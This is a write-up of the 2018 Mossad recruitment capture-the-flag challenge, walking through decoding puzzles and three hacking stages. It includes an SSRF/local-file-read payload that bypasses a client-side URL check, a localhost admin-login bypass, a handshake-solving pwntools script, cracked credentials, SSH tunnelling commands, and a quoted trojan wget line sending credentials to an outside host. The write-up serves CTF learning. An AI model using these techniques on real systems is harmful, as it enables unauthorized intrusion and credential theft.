Mossad Challenge - 5778
Introduction:
About a week before Yom Ha'atzmaut [2018] a countdown appeared on the Mossad's web page:
The countdown was an iframe that contained a seperate site: https://www.r-u-ready.xyz
Beneath the countdown there was a line of code +[--------->++<]>+.++[->+++<]>++.+[--->+<]>.+[->+++<]>.--[--->+<]>-.---[->++++<]>.------------.---.--[--->+<]>-.+[->+++<]>+.---.--[--->+<]>-.+++[->+++<]>.--[--->+<]>.
in what appeared to be brainfuck
. We ran the code and got:
The countdown ends at 20:00 18/04/2018 which is Erev Yom Ha'atzmaut. We'll be looking out for the next challenge then.
On the morning of 18/04/2018 (Yom Hazikaron) an ad was posted in Israel HaYom newspaper:
There appear to be two blocks of highlighted code:
Around the Mossad's logo we see the text Israel-is-70
again and again, maybe the key?
We take the leftover bytes from the bottom picture (7A 46 5C 53 55 59 03 5A 41 03 06 01
) and XOR them with Israel-is-70
. The result is 35.205.32.11
which is an ip address that leads to https://www.r-u-ready.xyz
. Guess we still have to wait.
Challenge 1
Ok so the timer ran out, time to boogie.
A link! Click click click!
Ok so we get to this lovely blog:
Now what?
It seems like there's not much to do on the site while logged off, let's try to log in:
Welp!
Ok let's register:
I wonder what that TRY...
button does, let's check... It calls the following code:
function getProfilePic()
{
var url_regex = /^(https?:\/\/(www\.)?)?[a-z0-9]+([\-\.]{1}[a-z0-9]+)*\.[a-z]{2,5}(:[0-9]{1,5})?(\/[^\/]+)*([^\/]+\.png)(\?((\.+)\=(.+))*)?$/gm
url = $("#profile_url")[0].value;
if (url != "")
{
if (!url_regex.test (url))
{
alert ("Not a valid PNG url! " + url);
return;
}
$.getJSON ('testProfilePng', { u: btoa(url) }, showProfilePng)
}
}
function showProfilePng (json)
{
if (json && 'png' in json)
{
$("#usr_img")[0].src = '/profilePics/' + json.png;
}
if (json && 'err' in json && json.err != "" && json.err != "200" && json.err != "OK")
{
alert (json.err);
}
}
Ok so it looks like it verifies the urls we enter. If the url is "fine" it will then proceed to show us the picture in '/profilePics/' + json.png
.
But maybe it only checks on the client side? What would happen if we were to cheat and send a link to a local file, would it pass it to us?
What if we tried to get the server version of login.php
?
$.getJSON ('testProfilePng', { u: btoa("file:///var/WWW/login.php#.png") }, showProfilePng)
After a lot of fighting we managed to locate the file, also it turns out the .png
ending was required on the server's side as well ����♂️.
So now we know how the login system works, let's look at the useful parts for this challenge:
define("ADMIN_USER_NAME", "admin");
...
function do_login(){
$remote_ip = $_SERVER['REMOTE_ADDR'];
$user = $_REQUEST['user_name'];
if ($remote_ip == "127.0.0.1" && $user == ADMIN_USER_NAME)
{
...
Hmm, so if the user_name is admin, and he is logging on from the server itself, a password is not needed. Genius!
We already know we can run stuff off the server, so let's pretend to login as admin from there.
$.getJSON ('testProfilePng', { u: btoa("http://35.205.32.11/login.php?user_name=admin#.png") }, showProfilePng)
Great we got a response saying that the cookie is saved.
$.getJSON ('testProfilePng', { u: btoa("http://35.205.32.11/administration#.png") }, showProfilePng)
And now we have a dump of the administration page. A quick look through that showed us that the previous hacker on the site left a link /ch1_success
, let's try it:
Yes!
Challenge 2
Onwards!
This time the link is for a pcap file. Opening it in wireshark shows us 5 tcp streams. The first and last two consist of a short little handshake; the server sends the md5 hash of a number and the client returns the sha512 hash of the next number up. The middle stream shows a user connecting to an ftp server with username=user
and password=12345
.
I suppose we're supposed to try to do the same...
A friend wrote a nice script that automates the handshake very nicely:
from pwn import *
import hashlib
def md5rev(expected):
for i in range(10000,100000):
if hashlib.md5(str(i)).hexdigest() == expected:
return i
def sha512num(number):
return hashlib.sha512(str(number)).hexdigest()
conn = remote('35.204.90.89',5555)
md5 = conn.recvline().replace('\r','').replace('\n','')
num = md5rev(md5)
sha = sha512num(num+1)
print("md5: %s" % md5)
print("num: %s" % num)
print("sha: %s" % sha)
conn.sendline(sha)
print(conn.recvall())
Sample run:
$ python solve.py
[+] Opening connection to 35.204.90.89 on port 5555: Done
md5: ce5f87af88939d59cf73ca61cba8c260
num: 62578
sha: 7bdfd3a07b8c8f02df1dc97e8647f04af257a0db76e9f7825668e31b3f8d0f8dd571d5ef1f33d007ab25dde4d362eccfbbeddeb0eeedd672b53a850d666002f2
[+] Receiving all data: Done (35B)
[*] Closed connection to 35.204.90.89 port 5555
MY_IP Temporarily Authorized.
Ok now that we are temporarily authorized we can connect to the ftp server: ftp 35.204.90.89 2121
and download all the files.
Amongst tons of backups the most interesting folder we found was \users\backup
. In it we found a private key. Does that mean we can connect to that user's ftp account? sftp -i id_rsa [email protected]
Oh no! it wants a passphrase! Lucky for us the text s3cr3t
that was in a file names hint
worked.
$ sftp -i id_rsa backup@35.204.90.89
Welcome to Backup Server!
All your actions are
being recorded!
Hahahah!!
,-.
,' |
/.__,|
/((_)):
/ `-' \
,' ,--. \
.' , ((__)) `.
'.': `--' \._)
| ,--. :
| ((__)) |
| `--' |
,'..____..-`.
`--..____...--' SSt
Enter passphrase for key 'id_rsa':
Connected to 35.204.90.89.
sftp> ls
conf_enc.pyc
sftp>
Maybe this file has something to do with all the encrypted backups we previously found. Using uncompyle2 we got the source code:
import base64
from Crypto.Cipher import AES
from Crypto import Random
import sys, os
key = 'd3adb33f13371337'
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
class AESCipher:
def __init__(self, key):
self.key = key
def encrypt(self, raw):
raw = pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return base64.b64encode(iv + cipher.encrypt(raw))
def main():
if len(sys.argv) != 2:
exit(1)
in_file = sys.argv[1]
if os.path.isfile(in_file):
out_file = in_file + '.enc'
fin = file(in_file, 'rb').read()
fout = file(out_file, 'wb')
cypher = AESCipher(key)
enc_data = cypher.encrypt(fin)
fout.write(enc_data)
fout.close()
if __name__ == '__main__':
main()
Ok, so this is the encryption used on the backups. Time to write a decryption function...
def decrypt(self, raw):
raw = base64.b64decode(raw)
iv = raw[:AES.block_size]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(raw[AES.block_size:]))
Gold.
There were only two different backups, one for floppyfw
and the other for cisco
. In the cisco backup we found a username fwadmin
and a password 107D1C09560521580F16693F14082026351C1512
, in plain text Sup3rS3cr#tP@ssword
, thanks to this site. We also figured out that to get into the server we need to go through the backup account on the ftp server to an external ip address and from there to an internal one. Using the user names and password/private keys we constructed our network route:
The first step was to tunnel with the ftp server through to the external address: ssh -N -L 9999:10.164.0.3:22 [email protected] -i id_rsa_decrypted
, then all the way to the internal one: ssh -N -L 9000:10.128.0.3:8080 [email protected] -p 9999
So now that we had the connection set up we navigated to 127.0.0.1:9000
in our browser and were greeted with a file that rerouted us to:
Huzzah!
Challenge 3
Last one! (Probably)
This time we got a file called busybox
. Running it showed us a greeting and some basic information:
$ ./busybox
BusyBox v1.29.0.git (2018-02-18 06:33:22 UTC) multi-call binary.
BusyBox is copyrighted by many authors between 1998-2015.
Licensed under GPLv2. See source distribution for detailed
copyright notices.
Usage: busybox [function [arguments]...]
or: busybox --list[-full]
or: busybox --install [-s] [DIR]
or: function [arguments]...
BusyBox is a multi-call binary that combines many common Unix
utilities into a single executable. Most people will create a
link to busybox for each function they wish to use and BusyBox
will act like whatever it was invoked as.
**** This version of BusyBox is an 'augmented-reality' version ;).. left you a hint at /tmp ... ****
Currently defined functions:
adjtimex, base64, beep, cat, chmod, clear, dnsdomainname, echo, false,
hostname, ifconfig, ifdown, ifup, kill, killall, ls, lsof, md5sum, nc,
netcat, netstat, nslookup, ping, ps, reset, resize, top, true, tty,
uname, wget, whoami
There is an interesting message there:
**** This version of BusyBox is an 'augmented-reality' version ;).. left you a hint at /tmp ... ****
.
Let's take a look:
$ ./busybox ls /tmp -la
ls: /uos: No such file or directory
Umm, but that's not what I typed. It looks like each letter was moved forwards in the alphabet in accordance with its index. Gotta take care of that:
from string import ascii_lowercase as lower_letters
def fixlower(words):
res = ''
for i, char in enumerate(words):
if char in lower_letters:
res = res + lower_letters[(lower_letters.index(char) - i)%len(lower_letters)]
else:
res += char
return res
That should do the trick:
$ ./busybox ls /skm -la
total 0
drwxrwxrwt 0 root root 4096 Apr 22 03:50 .
drwxr-xr-x 0 root root 4096 Jan 1 1970 ..
-r--r--r-- 0 root root 1337 Jan 1 1970 .readme
Ok, a hidden file. Let's read it:
$ ./busybox cat /skm/.lxsuct
Suspicious network activity detected...
If you say so...
$ ./busybox netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 64 0.0.0.0:31337 11.32.205.35.bc.googleusercontent.com:http ESTABLISHED
netstat: /proc/net/raw: No such file or directory
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags Type State I-Node Path
netstat: /proc/net/unix: No such file or directory
There is actually some strange network activity. Let's see what processes are running:
$ ./busybox ps
PID USER TIME COMMAND
1337 root 13:37 /tmp/Tr0j (deleted) -u admin --default-pass
1 root 0:00 /init
271 me 0:00 -bash
297 me 0:00 python
314 me 0:00 -bash
328 me 0:00 ./busybox ps
The first one looks strange. Let's check it out:
$ ./busybox ls /oply/1337 -la
dr--r--r-- 0 root root 0 Jan 1 1970 .
dr--r--r-- 0 root root 0 Jan 1 1970 ..
-r--r--r-- 0 root root 1337 Jan 1 1970 cmdline
-r--r--r-- 0 root root 1337 Jan 1 1970 environ
-r--r--r-- 0 root root 1337 Jan 1 1970 exe
We already know what the cmdline
holds. So let's get the actual program: ./busybox cat /oply/1337/tlr > exe
. Running strings
on this gave us tons of possibly useful information:
Uw1lLN3v3rG3tM3
35.205.32.11
wget -O /tmp/.store 'http://%s/iso?user=%s&pass=%s'
user
pass
default-pass
It looks like we need to construct a url. Most of it is straightforward: http://35.205.32.11/iso?user=admin&pass=
. But what is the pass? We know the program was invoked using --default-pass
, but what is that? Maybe it's the strange looking string right over the ip address Uw1lLN3v3rG3tM3
("u will never get me", in 1337)? Yep. Now we got an iso. Extracting it reveals 6 pictures (1.JPG, 2.JPG, 4.PNG, 5.JPG, 6.JPG, 7.JPG) a file called THUMBS.DB
and a file called VAULT
. I wonder why there is no picture number 3.
The images:
1.JPG | 2.JPG | 4.PNG | 5.JPG | 6.JPG | 7.JPG |
Running binwalk
on THUMBS.DB shows that it contains 7 JPEGS. Let's extract them: binwalk —dd='.*' THUMBS.DB
. Now we have 5 of the same old pictures and 2 new ones. One of the new pictures has *israel70*
printed on it. Important? Maybe.
The new images:
9418.jpeg | C818.jpeg |
Moving on to VAULT
. Using this lovely site we extracted 4 files (index.html, key.js, script.js, aes.js). All the javascript files were encrypted with something called blow fish. Using this site we tried to decrypt the files. Turns out *israel70*
was the key and indeed useful. We were now left with 4 decrypted files that made up a site; let's try to run it.
It looks like the site is trying to load key.js
from 127.0.0.1:1337/key.js
instead of just from the local file. The problem is that the javascript we have is all muddled. Guess that'll have to be fixed. With the help of a site like this we got the code to a readable state and changed it to use the key we have:
function loadScript(src, callback) {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval(this.responseText);
if (typeof(callback) != 'undefined') {
callback()
}
}
};
xhttp.open("GET", src, true);
xhttp.send()
}
key = "sg342C_fqg3453gqh"
loadScript("http://35.205.32.11/ch3/sid");
loadScript("http://35.205.32.11/ch3/payload", run);
function run() {
if (typeof(key) != 'undefined') {
if (typeof(payload) != 'undefined') {
var decrypted = CryptoJS.AES.decrypt(payload, key);
console.log((decrypted.toString(CryptoJS.enc.Utf8)))
}
}
}
Time to try the site again. This time we got a very long bit of jsfuck. With the help of this guide we managed to debug the code, find the password H4pPyB1r7hd4y70I5ra3l!
and get redirected:
All done!!
Update [29.04.2018]
The challenge is now officially closed
Special Thanks
Thanks to MeitarR, naweiss, and yoavst without whom I probably would have quit the challenges.
Other Write-ups
Both MeitarR and yoavst wrote write-ups that can be found here: